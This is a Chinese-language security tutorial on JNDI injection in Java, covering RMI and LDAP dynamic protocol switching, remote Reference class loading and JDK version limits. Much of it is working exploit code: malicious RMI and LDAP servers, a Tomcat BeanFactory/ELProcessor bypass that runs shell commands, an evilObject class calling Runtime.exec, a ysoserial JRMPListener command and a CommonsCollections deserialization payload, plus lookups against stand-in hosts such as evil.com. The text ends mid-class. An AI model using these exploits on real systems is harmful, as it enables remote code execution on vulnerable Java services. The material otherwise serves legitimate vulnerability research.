JNDI 注入#
0x01 什麼是 JNDI#
RMI && LDAP#
目錄是一種分佈式資料庫,目錄服務是由目錄資料庫和一套訪問協議組成的系統。LDAP 全稱是輕量級目錄訪問協議,它提供了一種查詢、瀏覽、搜索和修改互聯網目錄資料的機制,運行在 TCP/IP 協議棧之上,基於 C/S 架構。除了 RMI 服務之外,JNDI 也可以與 LDAP 目錄服務進行交互,Java 對象在 LDAP 目錄中也有多種存儲形式:
- Java 序列化
- JNDI Reference
- Marshalled 對象
- Remote Location (已棄用)
LDAP 可以為存儲的 Java 對象指定多種屬性:
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData
JNDI 原理#
JNDI - Java 命名和目錄接口,JNDI 提供統一的客戶端 API,通過不同的服務供應接口 (SPI) 的實現,由管理者將 JNDI API 映射為特定的命名服務和目錄系統,使得 Java 應用程序可以和這些命名服務和目錄服務之間進行交互,如圖:
命名服務 (Naming Service)
命名服務是一種簡單的鍵值對綁定,可以通過鍵名檢索值,RMI 就是典型的命名服務
- 命名服務是將名稱與值相關聯的實體,也稱為 "綁定 (binding)"。
- 它提供了一種基於名稱查找對象的工具,該名稱稱為 "查找 (lookup)" 或 "search" 操作。
目錄服務 (Directory Service)
LDAP 是典型的目錄服務
- 允許存儲和查找 "目錄對象" 的特殊類型的命名服務。
- 目錄對象不同於一般對象,因為它可以將屬性與對象相關聯。
- 因此,目錄服務提供了對對象屬性進行操作的擴展功能。
命名服務與目錄服務的本質是相同的,都是通過鍵來查找對象,只不過目錄服務的鍵要靈活且複雜一點。
簡單來說就是 JNDI 提供了一組通用的接口可供應用很方便地去訪問不同的後端服務,例如 LDAP、RMI、CORBA 等。如下圖:
在 Java 中為了能夠更方便的管理、訪問和調用遠程的資源對象,常常會使用 LDAP 和 RMI 等服務來將資源對象或方法綁定在固定的遠程服務端,供應用程序來進行訪問和調用。
一個簡單的 JNDI 例子:
package jndi_test;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
package jndi_test;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
public String sayHello(String name) throws RemoteException {
return "Hello " + name + " ^_^";
}
}
package jndi_test;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class CallService {
public static void main(String[] args) throws Exception {
// 配置 JNDI 默認設置
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
// 本地開啟 1099 端口作為 RMI 服務,並以標識 "hello" 綁定方法對象
Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);
// JNDI 獲取 RMI 上的方法對象並進行調用
IHello rHello = (IHello) ctx.lookup("http://192.168.1.148:1099/hello");
System.out.println(rHello.sayHello("RickGray"));
}
}
JNDI 獲取並調用了遠程方法 say.Hello
這裡對 JNDI 服務進行了初始化,在初始化配置 JNDI 設置時可以預先指定其上下文環境(RMI、LDAP 或者 CORBA 等)。這裡的例子是指定了上下文環境為 RMI。
流程:
這裡使用 JNDI 獲取遠程 sayHello () 函數並傳入 "RickGray" 參數進行調用時,真正執行該函數是在遠程服務端,執行完成後會將結果序列化返回給應用端。
RMI 中動態加載字節碼#
如果遠程獲取 RMI 服務上的對象為 Reference 類(引用對象類型的抽象基類)或者其子類,則在客戶端獲取到遠程對象存根實例時,可以從其他服務器上加載 class 文件來進行實例化。
Reference 中幾個比較關鍵的屬性:
- className - 遠程加載時所使用的類名
- classFactory - 加載的 class 中需要實例化類的名稱
- classFactoryLocation - 提供 classes 資料的地址,可以是 file/ftp/http 等協議
例如這裡定義一個 Reference 實例,並使用繼承了 UnicastRemoteObject 類的 ReferenceWrapper 包裹一下實例對象,使其能夠通過 RMI 進行遠程訪問:
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
當有客戶端通過 lookup ("refObj") 獲取遠程對象時,獲得到一個 Reference 類的存根,由於獲取的是一個 Reference 實例,客戶端會首先去本地的 CLASSPATH 去尋找被標識為 refClassName 的類,如果本地未找到,則會去請求 http://example.com:12345/refClassName.class 動態加載 classes 並調用 insClassName 的構造函數。
這裡說明了在獲取 RMI 遠程對象時,可以動態地加載外部代碼進行對象類型實例化,而 JNDI 同樣具有訪問 RMI 遠程對象的能力,只要其查找參數即 lookup () 函數的參數值可控,那麼就有可能促使程序去加載和執行部署在攻擊者服務器上的惡意代碼。
JNDI 協議動態轉換#
上文說到在初始化配置 JNDI 設置時可以預先指定其上下文環境(RMI、LDAP 或者 CORBA 等)。
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
而在調用 lookup () 或者 search () 時,可以使用帶 URI 動態的轉換上下文環境,
例如上面已經通過 Context.PROVIDER_URL 屬性設置了當前上下文會訪問 RMI 服務,但是還是可以直接使用 LDAP 的 URI 格式去轉換上下文環境訪問 LDAP 服務上的綁定對象:
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
為什麼可以使用絕對路徑 URI 去動態地轉換上下文環境呢?
InitialContext#lookup:
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
getURLOrDefaultInitCtx () 函數的具體代碼實現為:
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
首先判斷是否設置了 FactoryBuilder, 但其實這跟我們設置的 INITIAL_CONTEXT_FACTORY
無關,最終還是返回 null
然後進入到 getURLScheme
截取 ://
之前的內容作為協議名,傳入 NamingManager.getURLContext ()
可以看到,如果獲取不到 scheme 的話,就會使用原來 env 中指定的 INITIAL_CONTEXT_FACTORY
, 否則就會進行動態轉換,得到當前協議對應的 context factory
跟進 getURLObject
ResourceManager.getFactory()
會通過 context classloader
加載對應工廠類
然後調用工廠類的 getObjectInstance 方法來得到對應協議的 context
總的來說最終返回的 context 類型還是取決於 lookup 傳入的 uri, 只有當 uri 被省略的時候才會使用 env 中指定的 INITIAL_CONTEXT_FACTORY
即當第一次調用 lookup () 函數的時候,會對上下文環境進行一個初始化,這時候代碼會對 paramName 參數值進行一個 URL 解析,如果 paramName 包含一個特定的 Schema 協議,代碼則會使用相應的工廠去初始化上下文環境,這時候不管之前配置的工廠環境是什麼,這裡都會被動態地對其進行替換。
JNDI 默認支持動態轉換的協議如下
協議名稱 | 協議 URL | Context 類 |
---|---|---|
DNS 協議 | dns:// | com.sun.jndi.url.dns.dnsURLContext |
RMI 協議 | rmi:// | com.sun.jndi.url.rmi.rmiURLContext |
LDAP 協議 | ldap:// | com.sun.jndi.url.ldap.ldapURLContext |
LDAP 協議 | ldaps:// | com.sun.jndi.url.ldaps.ldapsURLContextFactory |
IIOP 對象請求代理協議 | iiop:// | com.sun.jndi.url.iiop.iiopURLContext |
IIOP 對象請求代理協議 | iiopname:// | com.sun.jndi.url.iiopname.iiopnameURLContextFactory |
IIOP 對象請求代理協議 | corbaname:// | com.sun.jndi.url.corbaname.corbanameURLContextFactory |
0x02 JNDI 注入#
造成 JNDI 注入的核心有兩點
- 動態協議轉換
- Reference 類
版本限制#
- JDK 5U45、6U45、7u21、8u121 開始
java.rmi.server.useCodebaseOnly
默認配置為 true, 禁止利用 RMI ClassLoader 加載遠程類 (但是 Reference 加載遠程類本質上利用的是 URLClassLoader, 所以該參數對於 JNDI 注入無任何影響) - JDK 6u132、7u122、8u113 開始
com.sun.jndi.rmi.object.trustURLCodebase
和com.sun.jndi.rmi.object.trustURLCodebase
默認值為 false, 禁止 RMI 和 CORBA 協議使用遠程 codebase 來進行 JNDI 注入 - JDK 11.0.1、8u191、7u201、6u211 開始
com.sun.jndi.ldap.object.trustURLCodebase
默認為 false, 禁止 LDAP 協議使用遠程 codebase 來進行 JNDI 注入
通過 RMI 與 LDAP 進行 JNDI 注入 (jdk<8u191)#
通過 RMI 和 LDAP 所進行的 JNDI 注入都是基於 Reference 類的特殊處理。
利用條件#
- 客戶端的 lookup () 方法的參數可控
- 服務端在使用 Reference 時,classFactoryLocation 參數可控~
注入流程#
注入流程:
- 攻擊者需要構造一個惡意對象,在其構造方法處加入惡意代碼。將其上傳到服務器中等待遠程加載
- 構造一個惡意 RMI 服務, bind 一個 ReferenceWrapper 對象, ReferenceWrapper 對象是 Reference 對象的封裝
- 攻擊者通過可控的 URI 參數觸發動態環境轉換,例如這裡 URI 為 rmi://evil.com:1099/refObj ;
- 原先配置好的上下文環境 rmi://localhost:1099 會因為動態環境轉換而被指向 rmi://evil.com:1099/ ;
- 應用去 rmi://evil.com:1099 請求綁定對象 refObj ,攻擊者事先準備好的 RMI 服務會返回與名稱 refObj 想綁定的 ReferenceWrapper 對象( Reference ("EvilObject", "EvilObject", "http://evil-cb.com/") );
- Reference 對象中包含了遠程地址,遠程地址中可以加載惡意對象 class
- JNDI 在 lookup 過程中會解析 Reference 對象並遠程加載惡意對象觸發漏洞
為什麼在 RMI 的攻擊方法裡面沒有提到遠程加載 Reference 對象這個方法呢,其實就是因為這裡的客戶端發生了變化,之前是客戶端通過 RMI 遠程調用服務端的方法,這裡是 JNDI 去調用,這也導致了 lookup 方法發生了變化,這才有了 JNDI 協議動態轉換,觸發動態環境轉換。
0x03 RMI#
例子:
Server
package Inject;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
String factoryUrl = "http://127.0.0.1:8080/";
Reference reference = new Reference("evilObject","evilObject", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("w0s1np", wrapper);
System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
package Inject;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception {
try {
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/w0s1np");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
當客戶端調用 InitialContext ().lookup () 方法時,會從 http://127.0.0.1:8080/evilObject.class 處獲取 class 並觸發構造方法中的惡意代碼。
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
將 evilObject.java 放在另一個目錄下(為防止漏洞復現過程中應用端實例化 EvilObject 對象時從 CLASSPATH 當前路徑找到編譯好的字節代碼,而不去遠端進行下載的情況發生)
低版本 jdk 分析#
jdk8u_202、65、20 混合調試的,和 rmi 反序列化中一樣,使用低版本 jdk 有些調試進不去
分析 lookup 後的流程
首先獲取到 RegistryContext@763 對象,裡面也包含了存根對象和 rmi 服務地址、端口信息,然後進去 RegistryContext@763 對象的 lookup 方法:
然後調用 RegistryImpl_Stub@764 對象的 lookup, 這部分跟 RMI 協議中 Stub 與 Skeleton 的通信流程相同
即 registry#lookup
獲取遠程惡意 server 綁定的 Remote 類
然後調用 RegistryContext#decodeObject
方法,調用該 Remote 類 的 getObjectInstance 實例化該類
判斷 var1 是否屬於 RemoteReference 或其子類的實例對象,然後調用 NamingManager.getObjectInstance()
先通過getObjectFactoryFromReference
得到 factory 實例,然後調用它的getObjectInstance
方法
跟進 getObjectFactoryFromReference,
首先調用 helper.loadClass()
, 方法內部會從上下文中得到 AppClassLoader, 然後嘗試從本地加載 factory 類
失敗的話就會獲取 codebase (也就是 factoryLocation), 再傳入 helper 中使用 URLClassLoader 嘗試加載
遠程加載,FactoryURLClassLoader
是URLClassLoader
的子類
上面Class.forName
第二個參數是true
, 這裡加載的時候就能觸發static
區域的代碼
得到 class 之後,
這裡會觸發自構方法
的代碼(這裡會轉化成ObjectFactory
類,想不報錯,惡意可以繼承這個接口)
返回後還會調用getObjectInstance()
次方法
小結#
下面這 3 個代碼塊都能執行我們的惡意代碼
- static 區域
- 自構方法
- getObjectInstance()
高版本 jdk 分析#
先找一下限制是在加在什麼地方的
RegistryContext#decodeObject
在NamingManager.getObjectInstance
之前對Reference
對象進行了判斷,var8.getFactoryClassLocation()
就是我們設置的遠程地址codebase
, trustURLCodebase
默認是false
這裡意思就是默認不讓我們設置遠程地址
了,從而防禦我們遠程加載惡意類
本地 Factory 類#
既然禁止通過 codebase 遠程加載,那就去加載一個能夠利用的本地 factory 然後執行 java 代碼
但是這種利用方式受限於目標機器本地 classpath 中是否存在對應的 factory
危險函數肯定還是上面小結部分的三處: static
、自構方法
、getObjectInstance()
, 但其實static
和自構方法
不太可能存在利用的地方,所以還是主要去找getObjectInstance()
, 而getObjectInstance()
是ObjectFactory
接口的方法,所以我們去找ObjectFactory的繼承類
就行。
這種方式自然也依賴於其他組件依賴,網上最多的就是org.apache.naming.factory.BeanFactory
和 javax.el.ELProcessor
BeanFactory 來自 tomcat 的依賴包,所以適用範圍相對來說會廣一些
ELProcessor 則是 java 自帶的表達式解析引擎
添加下面tomcat
依賴
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.0</version>
</dependency>
package rmi_bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;
public class RMIServer {
public static void main(String[] args) throws Exception{
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
InitialContext ctx = new InitialContext(env);
Registry registry = LocateRegistry.createRegistry(1099);
// 實例化Reference,指定目標類為javax.el.ELProcessor,工廠類為org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 強制將 'x' 屬性的setter 從 'setX' 變為 'eval', 詳細邏輯見 BeanFactory.getObjectInstance 代碼
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表達式執行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("w0s1np", referenceWrapper);
}
}
正向分析#
首先還是到NamingManager#getObjectInstance
進入BeanFactory#getObjectInstance
,
getObjectInstance 會判斷當前的 ref 對象是否是 ResourceRef 的實例,而 ResourceRef 為 Reference 的子類
所以這也就說明了為什麼我們需要構造一個 ResourceRef 來加載 factory class, 而不是平時經常用到的 Reference
之後獲取 classname, 即 javax.el.ELProcessor
, 並調用 tcl 加載 class
“forceString”
可以給屬性強制指定一個setter
方法,這裡我們將屬性”x” 的 setter 方法設置為 ELProcessor.eval()
方法。
首先從 ref 中獲取到forceString
屬性,然後以,
為分割為多對 method, 然後通過=
分割每對值,前面的為最後放入map的key
, 後面為要獲取的method名字
, 然後從beanclass
獲取這個方法(注意這裡只會獲取 String 為參數的方法,我們看到paramTypes
是不可控的), 然後 put 到forced
這個 Hashmap 中
然後到下面這個 while 中,這裡會獲取到Type
, 當不為 if 中的值時,會從前面設置的forced
中通過這個Type名字
獲取對應的method
, 這裡即 x
, 然後通過反射調用這個方法,參數為 x 對應的 value, 所以前後兩個值 (x) 要一樣
bean 對象就是 beanClass 實例化,然後在 invoke 執行成功javax.el.ELProcessor#eval
利用小結
BeanFactory#getObjectInstance
利用條件
- JDK 或者常用庫的類
- 有 public 修飾的無參構造方法 // 顯而易見,直接通過 newInstance () 獲得對象的
- public 修飾的只有一個 String.class 類型參數的方法,且該方法可以造成漏洞 // 只能調用 String 方法
上面就利用的 el 表達式
逆向挖掘分析#
ReferenceRef 的定位
從RegistryContext#decodeObject
限制邏輯中可以看到,java.naming.Reference
用不了,因為getFactoryClassLocation
過不了。
var8 = (Reference)var3;
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
那麼,還有哪些類滿足
- 繼承 Reference
- getFactoryClassLocation 可以為 null
嘗試找繼承 Reference 的子類
ReferenceWrapper 的定位
還是要回到NamingManager#getObjectInstance
ObjectFactory factory;
ref = (Reference) refInfo;
String f = ref.getFactoryClassName();
factory = getObjectFactoryFromReference(ref, f);
factory.getObjectInstance(ref, name, nameCtx, environment);
查看ResourceRef
構造函數
public ResourceRef(String resourceClass, String description,
String scope, String auth, boolean singleton,
String factory, String factoryLocation)
所以只需要繼承ObjectFactory
, 並且getObjectInstance
存在危險函數
後面上面已經分析過了,BeanFactory 原本的作用是通過反射調用某個 BeanClass 的 setter 來賦值
但是我們能通過 forceString 參數將 setter 強制指定為 ELProcessor 中的 eval, 這樣 beanClass.getMethod()
就變成了獲取 eval 的 Method 對象
其利用條件為
- 需要有無參構造函數 (因為
Object bean = beanClass.getConstructor().newInstance();
) - 可以調用符合條件的方法,要求方法的參數為 1 個,類型為 String (
可以根據 Reference 的屬性查找 setter 方法的別名
) - 還可以調用 set* 方法,要求方法的參數為 1 個,類型為 String
- 以上方法都要求 public
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. 反射獲取類對象
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. 初始化類實例
Object bean = beanClass.getConstructor().newInstance();
// 3. 根據 Reference 的屬性查找 setter 方法的別名
RefAddr ra = ref.get("forceString");
String value = (String)ra.getContent();
// 4. 循環解析別名並保存到字典中
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
// 5. 解析所有屬性,並根據別名去調用 setter 方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}
反序列化#
利用 register 返回惡意序列化資料反序列化執行 gadget
lookup
中client
會和register
進行資料傳輸且存在反序列化
/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "open -a Calculator"
然後運行 client 代碼即可,所以只要發現new InitialContext().lookup
參數可控,並且服務端存在 gadget, 都可以打反序列化
一直步進 lookup, 可以到RegistryImpl_Stub#lookup
方法
這裡會向register
傳序列化資料做準備,然後跟進這個invoke
, 然後進入StreamRemoteCall#executeCall
executeCall()
, 這裡this.getInputStream();
會接收register
傳回的序列化資料(這裡我們構造惡意序列化資料即可利用), 然後下方進行反序列化。
0x04 LDAP#
在jdk8u191
之前都能用 ldap 加載遠程惡意類
ldap服務端
需要以下依賴
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.7</version>
</dependency>
poc:
package LDAP;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";
public static void main (String[] args) {
String url = "http://127.0.0.1:4444/#evilObject";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化 Gadget
// try {
// e.addAttribute("javaSerializedData", Base64.decode("..."));
// } catch (ParseException exception) {
// exception.printStackTrace();
// }
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
package LDAP;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/test");
}
}
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
低版本 jdk 分析#
jdk8u65
首先根據協議不同,獲取到不同的上下文,進入NamingManager#getURLContext
進入ResourceManager#getFactory
classSuffix
這個值是根據協議名字
拼接的,然後去實例化
這個類,後面會return factory;
然後會到ldapURLContextFactory.getObjectInstance
,返回一個ldap的上下文(ldapURLContext)
然後後續this.getRootURLContext
這裡調用的是ldapURLContext.getRootURLContext
, var3
是LdapCtx
, 也就導致後面和 rmi 的走向不一樣了
c_lookup#
一直步進 lookup,
LdapCtx#doSearchOnce
會向ldap發送請求
獲取值。
然後服務端會把這個值傳給client端
然後從返回的值獲取attributes
屬性,
我們是設置了javaClassName
的,所以進入Obj#decodeObject
進入最後的 else:
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
會進入decodeReference(var0, var2);
這裡會根據輸入 url 獲取到對應的對象名,然後包裝為Reference
, 然後返回到LdapCtx#c_lookup
進入getObjectInstance()
, 其後續邏輯和rmi
是相同的
通過實例化 evilObject 來 rce
小結#
經過上面的分析,我們知道 ldap 和 rmi 在調用遠程惡意類上的過程是有區別的
ldap 調用棧
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (LDAP)
rmi 調用棧
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (RMI)
var8.getFactoryClassLocation()
的檢測是在rmi
的decodeObject
中,而ldap協議
是調用的其他lookup
並不會調用decodeObject
來實現遠程加載,兩者協議調用機制是不一樣的
所以在8u113~8u190
這段com.sun.jndi.rmi.object.trustURLCodebase
默認值為false
, ldap不受影響
依然可以調用遠程惡意類
高版本 jdk 分析#
8u191 以後,在遠程加載類時加入了trustURLCodebase
的判斷,徹底杜絕了遠程加載惡意類了。
反序列化#
在Obj#decodeObject
中,存在一個 if 分支存在deserializeObject()
, 會把ldap服務端
返回的資料進行反序列化
, 如果有能利用的依賴就能打 gadget
所以需要給JAVA_ATTRIBUTES[1]
, 即javaSerializedData
設置值
poc#
package LDAP;
import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";
public static void main (String[] args) {
String url = "http://127.0.0.1:8080/#evilObject";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化 Gadget
try {
e.addAttribute("javaSerializedData", CC5.getpayload());
} catch (Exception exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
package LDAP;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CC5 {
public static void main(String[] args) throws Exception {
byte[] o1 = getpayload();
}
